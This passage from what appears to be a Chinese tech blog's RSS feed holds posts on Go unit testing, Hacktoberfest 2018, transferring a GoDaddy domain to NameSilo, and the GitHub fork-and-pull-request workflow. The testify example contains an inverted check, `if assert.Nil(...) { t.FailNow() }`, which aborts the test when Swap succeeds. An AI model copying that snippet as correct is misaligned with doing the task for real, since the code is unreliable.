	if len(a) != len(b) {
		return false
	}
	if (a == nil) != (b == nil) {
		return false
	}

	for i, v := range a {
		if b[i] != v {
			return false
		}
	}

	return true
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;单元测试示例&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;package swap

import (
	&quot;testing&quot;
)

func TestSwap(t *testing.T) {
	input1 := []interface{}{1, 2}
	i1 := 0
	j1 := 1
	want1 := []interface{}{2, 1}
	if err := Swap(input1, i1, j1); err != nil {
		t.Error(err)
	}

	if !IsSameSlice(input1, want1) {
		t.Errorf(&quot;got %v, want %v&quot;, input1, want1)
	}

	input2 := []interface{}{1, &apos;a&apos;, &quot;aa&quot;}
	i2 := 0
	j2 := 2
	want2 := []interface{}{&quot;aa&quot;, &apos;a&apos;, 1}
	if err := Swap(input2, i2, j2); err != nil {
		t.Error(err)
	}

	if !IsSameSlice(input2, want2) {
		t.Errorf(&quot;got %v, want %v&quot;, input2, want2)
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这段代码就是为 &lt;code&gt;Swap&lt;/code&gt; 编写的简单单元测试，可以看出，如果测试数据变多，代码就会有很多&lt;strong&gt;冗余&lt;/strong&gt;。这种问题的一个有效地解决方法就是
&lt;strong&gt;用表驱动测试来实现单元测试&lt;/strong&gt;。&lt;/p&gt;
&lt;h4&gt;表驱动测试示例&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;表驱动测试&lt;/strong&gt;是单元测试的一种形式，通过把测试条件都写在一张表里，就可以动态地添加测试数据而不用改动太多代码。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package swap

import (
	&quot;testing&quot;
)

func TestSwap(t *testing.T) {
	tests := []struct {
		input []interface{}
		i     int
		j     int
		want  []interface{}
	}{
		{[]interface{}{1, 2}, 0, 1, []interface{}{2, 1}},
		{[]interface{}{1, &apos;a&apos;, &quot;aa&quot;}, 0, 2, []interface{}{&quot;aa&quot;, &apos;a&apos;, 1}},
	}
	for i, tt := range tests {
		if err := Swap(tt.input, tt.i, tt.j); err != nil {
			t.Error(err)
		}

		if !IsSameSlice(tt.input, tt.want) {
			t.Errorf(&quot;%v. got %v, want %v&quot;, i, tt.input, tt.want)
		}
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;查看测试覆盖率&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;测试覆盖率&lt;/strong&gt;就是测试运行到的被测试代码的代码数目。其中以&lt;strong&gt;语句的覆盖率&lt;/strong&gt;最为简单和广泛，语句的覆盖率指的是*
&lt;em&gt;在测试中至少被运行一次的代码占总代码数的比例&lt;/em&gt;*。&lt;/p&gt;
&lt;p&gt;使用 &lt;code&gt;go tool cover&lt;/code&gt; 命令来查看有关测试覆盖率命令行的帮助。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意：首先必须保证测试是能够通过的&lt;/strong&gt;。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;测试整个包: &lt;code&gt;go test -cover=true swap&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;测试单个测试函数: &lt;code&gt;go test -cover=true swap -run TestSwap&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;-cover=true&lt;/code&gt; 选项会开启覆盖率说明&lt;/strong&gt;。&lt;/p&gt;
&lt;h4&gt;生成 HTML 报告&lt;/h4&gt;
&lt;p&gt;前面展示的都是命令行下的报告，不够直观。&lt;/p&gt;
&lt;p&gt;其实 &lt;code&gt;go tool cover&lt;/code&gt; 支持更友好的输出，如：HTML 报告。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;go test -cover=true swap -coverprofile=out.out&lt;/code&gt; 将在当前目录生成覆盖率数据。&lt;/p&gt;
&lt;p&gt;配合 &lt;code&gt;go tool cover -html=out.out&lt;/code&gt; 在浏览器中打开 HTML 报告。&lt;/p&gt;
&lt;p&gt;或者使用 &lt;code&gt;go tool cover -html=out.out -o=out.html&lt;/code&gt; 生成 HTML 文件。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;第三方测试框架&lt;/h2&gt;
&lt;p&gt;一般情况下，Go 语言标准库对测试的支持已足够强大。但是也有许多第三方的库提供了各种各样的功能。这里只介绍两个使用广泛的库和其主要功能。&lt;/p&gt;
&lt;h3&gt;使用 testify 包简化测试代码&lt;/h3&gt;
&lt;p&gt;安装：&lt;code&gt;go get -u github.com/stretchr/testify&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;testify&lt;/code&gt; 提供 &lt;code&gt;assert&lt;/code&gt;、&lt;code&gt;mock&lt;/code&gt;、&lt;code&gt;http&lt;/code&gt; 三个包进行更多样的测试。下面用其中的 &lt;code&gt;assert&lt;/code&gt; 包改写前面的例子。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package swap

import (
	&quot;github.com/stretchr/testify/assert&quot;
	&quot;testing&quot;
)

func TestSwap(t *testing.T) {
	input1 := []interface{}{1, 2}
	i1 := 0
	j1 := 1
	want1 := []interface{}{2, 1}
	if assert.Nil(t, Swap(input1, i1, j1)) {
		t.FailNow()
	}

	assert.Equal(t, input1, want1)

	input2 := []interface{}{1, &apos;a&apos;, &quot;aa&quot;}
	i2 := 0
	j2 := 2
	want2 := []interface{}{&quot;aa&quot;, &apos;a&apos;, 1}
	if assert.Nil(t, Swap(input2, i2, j2)) {
		t.FailNow()
	}

	assert.Equal(t, input2, want2)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;使用 gotests 生成测试代码&lt;/h3&gt;
&lt;p&gt;安装：&lt;code&gt;go get -u github.com/cweill/gotests&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;gotests&lt;/code&gt; 可以为程序生成表驱动测试，在生成之后再添加测试数据即可完成测试代码的编写。&lt;/p&gt;
&lt;p&gt;使用命令：&lt;code&gt;gotests -all -w go/src/swap/swap.go&lt;/code&gt; 即可生成关于 &lt;code&gt;swap.go&lt;/code&gt;
文件中所有函数的表驱动测试形式的单元测试，包含在与 &lt;code&gt;swap.go&lt;/code&gt; 同目录下的 &lt;code&gt;swap_test.go&lt;/code&gt; 文件中。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package swap

import &quot;testing&quot;

func TestSwap(t *testing.T) {
	type args struct {
		s []interface{}
		i int
		j int
	}
	tests := []struct {
		name    string
		args    args
		wantErr bool
	}{
		// TODO: Add test cases.
	}
	for _, tt := range tests {
		t.Run(tt.name, func(t *testing.T) {
			if err := Swap(tt.args.s, tt.args.i, tt.args.j); (err != nil) != tt.wantErr {
				t.Errorf(&quot;Swap() error = %v, wantErr %v&quot;, err, tt.wantErr)
			}
		})
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上面就是运行命令之后生成的代码。在 &lt;code&gt;TODO&lt;/code&gt; 中添加测试数据即可。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;package swap

import &quot;testing&quot;

func TestSwap(t *testing.T) {
	type args struct {
		s []interface{}
		i int
		j int
	}
	tests := []struct {
		name    string
		args    args
		wantErr bool
	}{
		{&quot;1&quot;, args{[]interface{}{1, 2}, 0, 1}, false},
		{&quot;2&quot;, args{[]interface{}{1, &apos;a&apos;, &quot;aa&quot;}, 0, 2}, false},
	}
	for _, tt := range tests {
		t.Run(tt.name, func(t *testing.T) {
			if err := Swap(tt.args.s, tt.args.i, tt.args.j); (err != nil) != tt.wantErr {
				t.Errorf(&quot;Swap() error = %v, wantErr %v&quot;, err, tt.wantErr)
			}
		})
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看出这里并没有测试交换后的值是否正确，说明 &lt;code&gt;gotests&lt;/code&gt; 的代码会根据返回值生成，也说明了 &lt;code&gt;gotests&lt;/code&gt;
对某些函数来说是不适用的或者说是需要手动修改的。&lt;/p&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://jimmysong.io/go-practice/docs/go_unit_test.html&quot;&gt;Go 单元测试&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.flysnow.org/2017/05/16/go-in-action-go-unit-test.html&quot;&gt;Go 语言实战笔记（二十一）| Go 单元测试&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>Golang</category></item><item><title>你好，Hacktoberfest！</title><link>https://www.sulinehk.com/post/hello-hacktoberfest/</link><guid isPermaLink="true">https://www.sulinehk.com/post/hello-hacktoberfest/</guid><description>介绍了参与 Hacktoberfest 并获得纪念品的详细步骤。</description><pubDate>Sat, 13 Oct 2018 10:23:49 GMT</pubDate><content:encoded>&lt;p&gt;什么是 &lt;a href=&quot;https://hacktoberfest.digitalocean.com/&quot;&gt;Hacktoberfest&lt;/a&gt;？这个词由 &lt;code&gt;Hack&lt;/code&gt;、&lt;code&gt;October&lt;/code&gt;、&lt;code&gt;Festival&lt;/code&gt; 组成，是一项提倡开源精神的活动。今年，也就是 2018年由 DigtialOcean、Github 和 Twilio 三家公司合作举办。活动内容为：只要你在 &lt;strong&gt;10月1日至 10月31日&lt;/strong&gt;之间为任何 GitHub 仓库发起了 5 个PR（Pull Request）就可以获得一件免费的纪念 T-Shirt 和一些贴纸。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;在 Hacktoberfest 报名&lt;/h2&gt;
&lt;p&gt;打开 &lt;a href=&quot;https://hacktoberfest.digitalocean.com/&quot;&gt;Hacktoberfest&lt;/a&gt; 后，点击中间的 &lt;code&gt;Start Hacking&lt;/code&gt; 报名。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;然后点击 &lt;code&gt;Register Now&lt;/code&gt; 注册。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意：必须使用在这里注册用到的 GitHub 帐号发起 PR 才会计入总数&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;之后会要求你填写姓名和邮箱，这是用来和你联系来发送奖品的，请务必认真填写。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;什么样的 PR 才计入？&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;任何在 GitHub 上的公开仓库发起的，&lt;code&gt;Hacktoberfest&lt;/code&gt; 标签可有可无。&lt;/li&gt;
&lt;li&gt;只要发起了就计入，就算没被合并。&lt;/li&gt;
&lt;li&gt;没有被标记成垃圾邮件、无关紧要或无效。&lt;/li&gt;
&lt;li&gt;在 10月1日至 10月31日之间发起的，无论你在什么时候注册。也就是说注册之前的发起的也算。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;想要跟踪进度和查看具体计入情况可以在注册后在主页点击 &lt;code&gt;Check Your Progress&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;如何开始发起 PR&lt;/h2&gt;
&lt;p&gt;根据 Hacktoberfest 的价值观和你对开源活动的了解程度可以大致分为以下三类：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;如果你是专业的开源专家，或者编程水平高超，你可以提交一些有质量的有挑战性的 PR。例如：优化某个算法、编写新的功能。&lt;/li&gt;
&lt;li&gt;如果你是刚刚开始了解开源的新手，你可以做一些你力所能及的工作。例如：翻译文档、修改错字。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;以上两类都可以通过在你熟悉的仓库发起 PR 或者利用 GitHub 的高级搜索查找带有 &lt;code&gt;hacktoberfest&lt;/code&gt; 标签的 &lt;code&gt;Issues&lt;/code&gt;。&lt;a href=&quot;https://github.com/search?q=label:hacktoberfest+state:open+type:issue&quot;&gt;查找带有 hacktoberfest 标签的开放的 Issues&lt;/a&gt;。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;如果你对编程一窍不通，不懂得 &lt;code&gt;Git&lt;/code&gt; 和发起 &lt;code&gt;PR&lt;/code&gt; 或者实在没有时间只是想拿一件纪念 &lt;code&gt;T-Shirt&lt;/code&gt;，也有一些仓库会一步步指导你快速完成 5个 PR 的任务。例如：在注册后跟踪进度的页面右下角会有一个 &lt;code&gt;Highest Pull Request Count Repos&lt;/code&gt;，这些都是一些比较容易就可以发起 PR 的仓库。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;这里也有一些网站可以帮你找到你感兴趣的仓库：&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://up-for-grabs.net/&quot;&gt;Up For Grabs&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.firsttimersonly.com/&quot;&gt;First Timers Only&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/mungell/awesome-for-beginners&quot;&gt;Awesome For Beginners&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://firstcontributions.github.io/&quot;&gt;First Contributions&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://noob.tw/hacktoberfest-2018/&quot;&gt;Hacktoberfest 2018：貢獻開源專案拿免費 T-Shirt&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://calpa.me/2018/10/09/Hackoberfest-2018-support-open-source-earn-limited-edition-t-shirt/&quot;&gt;Hackoberfest 2018 ﹣ 面向所有人群的開源社區最大活動&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>Misc</category></item><item><title>将 GoDaddy 域名转移到 NameSilo</title><link>https://www.sulinehk.com/post/transfer-godaddy-domain-to-namesilo/</link><guid isPermaLink="true">https://www.sulinehk.com/post/transfer-godaddy-domain-to-namesilo/</guid><description>比较了在 GoDaddy 和 NameSilo 这两个域名商下托管域名的优劣。还介绍了如何将 GoDaddy 域名转移到 NameSilo 的详细步骤和方法。</description><pubDate>Fri, 07 Sep 2018 10:07:26 GMT</pubDate><content:encoded>&lt;p&gt;很多新手玩家购买的第一个域名都来自 GoDaddy。它名气大、客户众多。&lt;/p&gt;
&lt;p&gt;然而作为国外知名的域名商，GoDaddy 的域名注册费用极其便宜诱人，但是续费相当昂贵。&lt;/p&gt;
&lt;p&gt;WHOIS 的隐私保护也要额外费用。&lt;/p&gt;
&lt;p&gt;非但如此，这个域名商还有许多千奇百怪的优惠规则，相信很多人都有过四处搜索优惠码的经历。&lt;/p&gt;
&lt;p&gt;相比之下，NameSilo 价格稳定便宜，无特殊优惠，续费与首年购买价格一致；永久免费的 WHOIS 隐私保护；支持支付宝。&lt;/p&gt;
&lt;p&gt;如果能够忍受 NameSilo 官网无中文、界面难看的话，那么从 GoDaddy 域名转移到 NameSilo 的理由就已经很充分。&lt;/p&gt;
&lt;p&gt;注意：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;域名转移需要支付 8.39美元的费用（自动续费一年）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;要转移的域名如果在 60天内有过修改信息、续费等操作的话是无法转移的。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;操作的前置说明&lt;/h2&gt;
&lt;p&gt;接下来的跟 GoDaddy 有关的步骤均从 &lt;a href=&quot;https://sg.godaddy.com/zh/&quot;&gt;GoDaddy 的新加坡分站&lt;/a&gt; 开始。&lt;/p&gt;
&lt;p&gt;与 NameSilo 有关的步骤均从 &lt;a href=&quot;https://www.namesilo.com/&quot;&gt;NameSilo 官网&lt;/a&gt; 开始。&lt;/p&gt;
&lt;h2&gt;解锁域名&lt;/h2&gt;
&lt;p&gt;GoDaddy -&amp;gt; 左上角&lt;code&gt;用户头像&lt;/code&gt; -&amp;gt; 快速链接中的&lt;code&gt;管理域名&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;然后在&lt;code&gt;锁定&lt;/code&gt;一栏点击&lt;code&gt;编辑&lt;/code&gt;修改。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;发送转移请求&lt;/h2&gt;
&lt;p&gt;GoDaddy -&amp;gt; 左上角&lt;code&gt;用户头像&lt;/code&gt; -&amp;gt; 点击&lt;code&gt;我的产品&lt;/code&gt; -&amp;gt; 找到你要转移的域名点击右边的&lt;code&gt;管理&lt;/code&gt; -&amp;gt; 拉到最下面点击&lt;code&gt;从 GoDaddy 转移域名&lt;/code&gt; -&amp;gt; 随便填填一直下一步&lt;/p&gt;
&lt;h2&gt;获取授权码&lt;/h2&gt;
&lt;p&gt;一般情况下在进行了上一步操作后邮箱中已经有了包含授权码的邮件。如果没有受到可以点击在&lt;code&gt;从 GoDaddy 转移域名&lt;/code&gt;下面的&lt;code&gt;获取授权码&lt;/code&gt;发送。&lt;/p&gt;
&lt;h2&gt;填写授权码&lt;/h2&gt;
&lt;p&gt;NameSilo -&amp;gt; 点击 &lt;code&gt;transfer&lt;/code&gt; -&amp;gt; 填好域名后点击 &lt;code&gt;SEARCH&lt;/code&gt; -&amp;gt; 填入授权码后点击 &lt;code&gt;TRANSFER&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;之后在生成的账单进行相关选择后点击 &lt;code&gt;CONTINUE&lt;/code&gt; -&amp;gt; 填写&lt;code&gt;支付宝邮箱地址&lt;/code&gt;生成支付宝支付页面 -&amp;gt; 邮箱会收到相关账单&lt;/p&gt;
&lt;h2&gt;确认转出&lt;/h2&gt;
&lt;p&gt;GoDaddy -&amp;gt; 左上角&lt;code&gt;用户头像&lt;/code&gt; -&amp;gt; 快速链接中的&lt;code&gt;管理域名&lt;/code&gt; -&amp;gt; 域名菜单栏下的&lt;code&gt;域名迁移&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;然后在打开的界面左边找到&lt;code&gt;待转出&lt;/code&gt; -&amp;gt; 勾选后选择&lt;code&gt;接受&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;等待响应邮件&lt;/h2&gt;
&lt;p&gt;转移花费的时间为 24到48小时，需要耐心等待。&lt;/p&gt;
&lt;p&gt;成功的话会发送一封邮件到你的邮箱，点击 &lt;code&gt;Yes, I approve.&lt;/code&gt; 回复即可。&lt;/p&gt;
&lt;p&gt;又需等待 12到24小时。&lt;/p&gt;
&lt;h2&gt;完成域名转移&lt;/h2&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;在邮箱里发现 GoDaddy 和 NameSilo 的几封邮件都祝贺你已经完成域名转移。&lt;/p&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://go2think.com/%E4%BB%8E-godaddy-%E8%BD%AC%E7%A7%BB%E5%9F%9F%E5%90%8D%E5%88%B0-namesilo-2017-%E6%9C%80%E6%96%B0/&quot;&gt;从Godaddy 转移域名到 Namesilo&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.jianshu.com/p/27b0ebdcec2c&quot;&gt;Namesilo 域名购买及使用教程&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>Website</category></item><item><title>如何使用 GitHub Flow 给开源项目贡献代码</title><link>https://www.sulinehk.com/post/how-to-use-github-flow-to-contribute-code-to-open-source-projects/</link><guid isPermaLink="true">https://www.sulinehk.com/post/how-to-use-github-flow-to-contribute-code-to-open-source-projects/</guid><description>介绍了一个细化的且简单的 GitHub Flow 的例子，教你如何使用标准的方法在 GitHub 上给开源项目贡献代码以免被其他开发者拒绝接受代码改动。</description><pubDate>Wed, 11 Jul 2018 08:57:19 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.com/&quot;&gt;GitHub&lt;/a&gt; 是什么？&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;GitHub 是通过 Git 进行版本控制的软件源代码托管服务。
截止到 2015年，GitHub 已经有超过 2800 万注册用户和 7900 万代码库。事实上已经成为了世界上最大的代码存放网站和开源社区。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;所以，如果你想要给开源项目贡献代码或者翻译文档，学会如何使用 GitHub 来正确地贡献代码是必不可少的。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;准备工作&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;关于 git 的基本操作。&lt;/li&gt;
&lt;li&gt;GitHub 网站的账户。&lt;/li&gt;
&lt;li&gt;将示例仓库 &lt;code&gt;https://github.com/golang/go&lt;/code&gt; 记录在某处。&lt;/li&gt;
&lt;li&gt;这里我们假设你的用户名为 &lt;code&gt;yourname&lt;/code&gt;。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;复制（fork）一个仓库的副本&lt;/h2&gt;
&lt;p&gt;打开示例仓库的 URL，在右上角点击 &lt;code&gt;Fork&lt;/code&gt; 按钮后，开始等待完成。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;等待的时间视仓库的大小而定。&lt;/p&gt;
&lt;p&gt;在 &lt;code&gt;fork&lt;/code&gt; 完成后，你应该可以在你自己的 GitHub 仓库看到同名的一个项目。&lt;/p&gt;
&lt;p&gt;它的 URL 应该为：&lt;code&gt;https://github.com/yourname/go&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;发现了吗？这里 URL 的变化只不过是将原本的 &lt;code&gt;golang&lt;/code&gt; 替换成了 &lt;code&gt;yourname&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;这个 &lt;code&gt;fork&lt;/code&gt; 后的项目是你自己可以随意修改而不会影响到真正的 &lt;code&gt;go&lt;/code&gt; 项目的。下面我们把它称之为副本仓库。&lt;/p&gt;
&lt;p&gt;在没有示例仓库的 &lt;code&gt;push&lt;/code&gt; 权限的情况下，想要做出的修改能够反映到示例仓库，也就是原始仓库，还需要做接下来的一些操作。&lt;/p&gt;
&lt;h2&gt;克隆（clone）副本仓库到本地&lt;/h2&gt;
&lt;p&gt;把你 &lt;code&gt;fork&lt;/code&gt; 后的副本仓库 &lt;code&gt;clone&lt;/code&gt; 到本地。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git clone https://github.com/yourname/go go # clone 到本地的 go 目录
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;使用分支（branch）&lt;/h2&gt;
&lt;p&gt;进入仓库目录后，可以使用如下命令创建并切换到 &lt;code&gt;test&lt;/code&gt; 分支。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git checkout -b test # 创建并切换到 test 分支
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;在本地仓库提交（commit）&lt;/h2&gt;
&lt;p&gt;在这个 &lt;code&gt;test&lt;/code&gt; 分支下经过一些修改后，你需要提交这些修改到本地仓库。&lt;/p&gt;
&lt;p&gt;可以使用相关命令：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git add -A # 添加所有文件
git commit -m &apos;Add test&apos; # 提交 commit
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;先别急着 &lt;code&gt;push&lt;/code&gt;，我们还有个大问题要解决。&lt;/p&gt;
&lt;h2&gt;跟原始仓库（upstream）合并&lt;/h2&gt;
&lt;p&gt;前面已经说过，在副本仓库做的修改是不会影响到原始仓库的。同样，在原始仓库的更新也不会反映到副本仓库来。&lt;/p&gt;
&lt;p&gt;在 GitHub，如果你副本仓库的进度落后于原始仓库还坚持发起 &lt;code&gt;Pull Request&lt;/code&gt;，后果只会是被拒绝。&lt;/p&gt;
&lt;p&gt;那么问题来了，我们应该如何同步原始仓库的更新呢？&lt;/p&gt;
&lt;p&gt;答案是：区别于 &lt;code&gt;origin&lt;/code&gt;，它是用来向副本仓库提交更新的远程仓库；我们添加一个 &lt;code&gt;upstream&lt;/code&gt;，也被称为 &lt;code&gt;上游&lt;/code&gt; 是专门用来同步原始仓库更新的远程仓库。&lt;/p&gt;
&lt;p&gt;在默认情况下，在你 &lt;code&gt;clone&lt;/code&gt; 后的仓库目录里，&lt;code&gt;git&lt;/code&gt; 已经自动将 &lt;code&gt;origin&lt;/code&gt; 和你的副本仓库关联在一起了，也就是 &lt;code&gt;https://github.com/yourname/go&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;你可以通过如下命令查看。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git remote -vv # 两个 verbose 参数查看远程仓库
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后，通过如下命令添加这个 &lt;code&gt;upstream&lt;/code&gt;，使用这个名字只是约定俗成，你可以用你觉得更好的名字来替换它。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git remote add upstream git@github.com:golang/go.git # 添加 upstream 远程仓库
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;现在，我们假设在做出修改后，上游（upstream）已经更新了很多提交。&lt;/p&gt;
&lt;p&gt;此时如果对上游的变化视而不见，强行 &lt;code&gt;push&lt;/code&gt; 并发起 &lt;code&gt;Pull Request&lt;/code&gt; 还是会被拒绝。&lt;/p&gt;
&lt;p&gt;可以通过如下命令拉取并合并上游的更新：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git checkout master # 切换到默认存在的 master 分支
git pull --rebase upstream master:master # 使用 rebase 模式拉取 upstream/master 上的更新
# 且与本地的 master 合并。第一个 master 是远程分支，第二个是本地分支。
git checkout test # 切换到前面建立的 test 分支
git rebase master # 使用 rebase 模式合并本地的 test 和 master 分支
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也可以通过另一种方式：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git checkout master # 切换到 master 分支
git fetch upstream master # 获取 upstream 上的 master 分支
git checkout test
git rebase upstream/master # 使用 rebase 模式合并本地的 test 和 upstream/master 分支
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;总的来说，可以把本地的 &lt;code&gt;master&lt;/code&gt; 分支当作一个只负责从上游获取更新的分支，所有本地的改动都不会直接在 &lt;code&gt;master&lt;/code&gt; 上面进行。&lt;/p&gt;
&lt;p&gt;而是先将上游的 &lt;code&gt;master&lt;/code&gt; 和本地的 &lt;code&gt;master&lt;/code&gt; 合并，此时，本地的 &lt;code&gt;master&lt;/code&gt; 是上游的最新版本；&lt;/p&gt;
&lt;p&gt;再通过合并 &lt;code&gt;test&lt;/code&gt; 和本地的 &lt;code&gt;master&lt;/code&gt; 来完成本地改动的更新。整个过程在未开始合并之前，你的代码更新应该只会出现在 &lt;code&gt;test&lt;/code&gt; 分支上。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意：在使用 &lt;code&gt;git rebase&lt;/code&gt; 相关的命令时，需要谨慎应用在已经提交的更新或远程仓库上&lt;/strong&gt;。&lt;/p&gt;
&lt;h2&gt;推送（push）到副本仓库&lt;/h2&gt;
&lt;p&gt;现在，我们已经完成代码的修改、上游的同步更新并且完成了合并。&lt;/p&gt;
&lt;p&gt;接下来应该将代码 &lt;code&gt;push&lt;/code&gt; 到副本仓库。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git push origin test # 将本地 test 分支的代码 push 到 origin 的 test 分支
# 如果该分支不存在则会创建
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个 &lt;code&gt;push&lt;/code&gt; 只会更新副本仓库，并不会影响到原始仓库。&lt;/p&gt;
&lt;p&gt;要将代码贡献到原始仓库，还要发起 &lt;code&gt;Pull Request&lt;/code&gt;。&lt;/p&gt;
&lt;h2&gt;发起合并请求（Pull Request）&lt;/h2&gt;
&lt;p&gt;现代的 GitHub 网站已经为我们发起 &lt;code&gt;Pull Request&lt;/code&gt; 做了大多数的幕后工作。下面分别说明两种方法：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在 &lt;code&gt;push&lt;/code&gt; 代码后，直接登录到 GitHub 网站，它会智能识别并弹出按钮 &lt;code&gt;Compare &amp;amp; pull request&lt;/code&gt;，点击后填写一些信息即可发起。 &lt;/li&gt;
&lt;li&gt;还有一种方式，在副本仓库的页面点击你更新的分支，再点击 &lt;code&gt;New pull Request&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;出现如下界面：&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;再点击 &lt;code&gt;Create pull request&lt;/code&gt; 后填写一些信息即可。&lt;/p&gt;
&lt;p&gt;接下来，原始项目的相关负责人就会**审查（review）**你的提交，并决定是通过还是拒绝。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;当你的提交有问题时，负责人还会让你做出一些修改才给予通过。&lt;/li&gt;
&lt;li&gt;当你发现想要对其贡献代码的开源项目已经很久没有更新时，需要谨慎一些。否则会发现在你发起 &lt;code&gt;Pull Request&lt;/code&gt; 后无人理会，做了许多无谓的工作。发生这种情况可能是负责人已经放弃了这个项目。 &lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;至此，我们已经完成使用 GitHub Flow 向开源项目贡献代码的全部步骤。&lt;/p&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.ruanyifeng.com/blog/2015/12/git-workflow.html&quot;&gt;Git 工作流程&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.zfanw.com/best-practice-contribute-on-github/&quot;&gt;如何在 Github 给开源项目贡献代码&lt;/a&gt;&lt;/p&gt;
